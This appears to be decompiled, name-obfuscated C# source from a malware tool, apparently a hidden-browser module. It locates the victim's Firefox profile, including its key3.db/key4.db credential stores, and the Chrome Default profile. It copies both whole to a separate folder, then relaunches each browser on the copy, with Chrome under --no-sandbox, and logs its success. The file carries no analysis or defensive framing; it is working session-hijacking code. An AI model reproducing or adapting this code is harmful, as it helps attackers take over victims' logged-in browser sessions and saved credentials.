// Token: 0x06000020 RID: 32 RVA: 0x00003818 File Offset: 0x00001A18
 private static void IncludeContext(string param, string ivk)
 {
     try
     {
         foreach (string text in Directory.GetDirectories(param))
         {
             if (!(text == ivk) && !(text.Substring(1, text.Length - 1) == ivk.Substring(1, ivk.Length - 1)))
             {
                 string fileName = Path.GetFileName(text);
                 if (!Directory.Exists(Path.Combine(ivk, fileName)))
                 {
                     Directory.CreateDirectory(Path.Combine(ivk, fileName));
                 }
                 SchemaMapper.IncludeContext(text, Path.Combine(ivk, fileName));
             }
         }
         foreach (string text2 in Directory.GetFiles(param))
         {
             try
             {
                 File.Copy(text2, Path.Combine(ivk, Path.GetFileName(text2)), true);
                 SchemaMapper.m_Rule += (int)new FileInfo(Path.Combine(ivk, Path.GetFileName(text2))).Length;
                 if (SchemaMapper.m_Reponse == 10)
                 {
                     SchemaMapper.ReflectContext(string.Concat(new object[]
                     {
                         "Copied ",
                         SchemaMapper.m_Rule / 1024 / 1024,
                         " of ",
                         SchemaMapper.m_Object
                     }));
                     SchemaMapper.m_Reponse = 0;
                 }
                 else
                 {
                     SchemaMapper.m_Reponse++;
                 }
             }
             catch
             {
             }
         }
     }
     catch
     {
     }
 }
        // Token: 0x0600001C RID: 28 RVA: 0x00003374 File Offset: 0x00001574
        private static void EnableContext(int start_i)
        {
            try
            {
                string text  = "";
                string text2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\";
                string text3 = File.ReadAllText(text2 + "profiles.ini");
                bool   flag  = false;
                SchemaMapper.ReflectContext("loking for relative profile");
                while (!flag)
                {
                    text3 = text3.Substring(text3.IndexOf("IsRelative=") + "IsRelative=".Length);
                    if (text3 == null)
                    {
                        SchemaMapper.ReflectContext("no relative profile found");
                        return;
                    }
                    if (text3[0] == '1')
                    {
                        string text4  = text3.Substring(text3.IndexOf("Path=") + "Path=".Length);
                        int    length = text4.IndexOf("\r\n");
                        text4 = text4.Substring(0, length).Replace("/", "\\");
                        if (File.Exists(text2 + text4 + "\\prefs.js") && (File.Exists(text2 + text4 + "\\key3.db") || File.Exists(text2 + text4 + "\\key4.db")))
                        {
                            text2 += text4;
                            flag   = true;
                        }
                    }
                }
                bool     flag2         = false;
                string[] logicalDrives = Environment.GetLogicalDrives();
                for (int i = 0; i < logicalDrives.Length; i++)
                {
                    DriveInfo driveInfo = new DriveInfo(logicalDrives[i]);
                    if (driveInfo.IsReady && driveInfo.DriveType == DriveType.Fixed && SchemaMapper.ConcatContext(Directory.GetFiles(text2, "*.*", SearchOption.AllDirectories), driveInfo))
                    {
                        SchemaMapper.ReflectContext("Got drive to copy");
                        text  = text2.Remove(0, 3).Insert(0, driveInfo.Name) + "C";
                        flag2 = true;
IL_193:
                        if (!flag2)
                        {
                            SchemaMapper.ReflectContext("Not enought space on disk to copy profile");
                        }
                        else
                        {
                            if (!Directory.Exists(text) || start_i == 3)
                            {
                                SchemaMapper.IncludeContext(text2, text);
                            }
                            SchemaMapper.UpdateContext(text);
                            string cont  = "/C start Firefox -no-remote -profile \"" + text + "\"";
                            string text5 = "C:\\Windows\\System32\\cmd.exe";
                            if (File.Exists("C:\\Program Files\\Mozilla Firefox\\firefox.exe"))
                            {
                                cont  = "-no-remote -profile \"" + text + "\"";
                                text5 = "C:\\Program Files\\Mozilla Firefox\\firefox.exe";
                            }
                            SchemaMapper.ReflectContext(text5);
                            int num = ParamRuleContainer.PatchContext(text5, cont);
                            Thread.Sleep(1000);
                            if (num == 1)
                            {
                                SchemaMapper.ReflectContext("Succes FF");
                            }
                            else
                            {
                                SchemaMapper.ReflectContext("executing error code: " + num.ToString());
                            }
                        }
                        return;
                    }
                }
                goto IL_193;
            }
            catch (Exception ex)
            {
                SchemaMapper.ReflectContext(ex.Message);
            }
        }
        // Token: 0x0600001B RID: 27 RVA: 0x000030CC File Offset: 0x000012CC
        private static void ForgotContext(int startfirst)
        {
            try
            {
                string text  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default";
                string text2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\\Default";
                if (!Directory.Exists(text2) || startfirst == 0)
                {
                    bool     flag          = false;
                    string[] logicalDrives = Environment.GetLogicalDrives();
                    int      i             = 0;
                    while (i < logicalDrives.Length)
                    {
                        string text3 = logicalDrives[i];
                        SchemaMapper.ReflectContext("Check drive " + text3 + "for space");
                        DriveInfo driveInfo = new DriveInfo(text3);
                        if (!driveInfo.IsReady || driveInfo.DriveType != DriveType.Fixed || !SchemaMapper.ConcatContext(Directory.GetFiles(text, "*.*", SearchOption.AllDirectories), driveInfo))
                        {
                            SchemaMapper.ReflectContext("Not enought space on " + text3 + " to copy profile");
                            i++;
                        }
                        else
                        {
                            flag = true;
                            SchemaMapper.ReflectContext("Got disk for copy");
                            text2 = text2.Remove(0, 3).Insert(0, driveInfo.Name);
IL_DD:
                            if (!flag)
                            {
                                SchemaMapper.ReflectContext("Not enought space on disks to copy profile");
                                return;
                            }
                            goto IL_F2;
                        }
                    }
                    goto IL_DD;
                }
IL_F2:
                string cont = "/C start chrome.exe --disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                string text4 = "C:\\Windows\\System32\\cmd.exe";
                if (File.Exists("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else if (File.Exists("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else
                {
                    SchemaMapper.ReflectContext("Chrome will start with cmd");
                }
                if (!Directory.Exists(text2) || startfirst == 0)
                {
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf");
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\\Default");
                    SchemaMapper.ReflectContext("direcories created");
                    SchemaMapper.IncludeContext(text, text2);
                }
                SchemaMapper.ReflectContext("Executing chrome");
                int num = ParamRuleContainer.PatchContext(text4, cont);
                Thread.Sleep(1000);
                if (num == 1)
                {
                    SchemaMapper.ReflectContext("Succes Chrome");
                }
                else
                {
                    SchemaMapper.ReflectContext("executing error code: " + num.ToString());
                }
            }
            catch (Exception ex)
            {
                SchemaMapper.ReflectContext(ex.Message);
            }
        }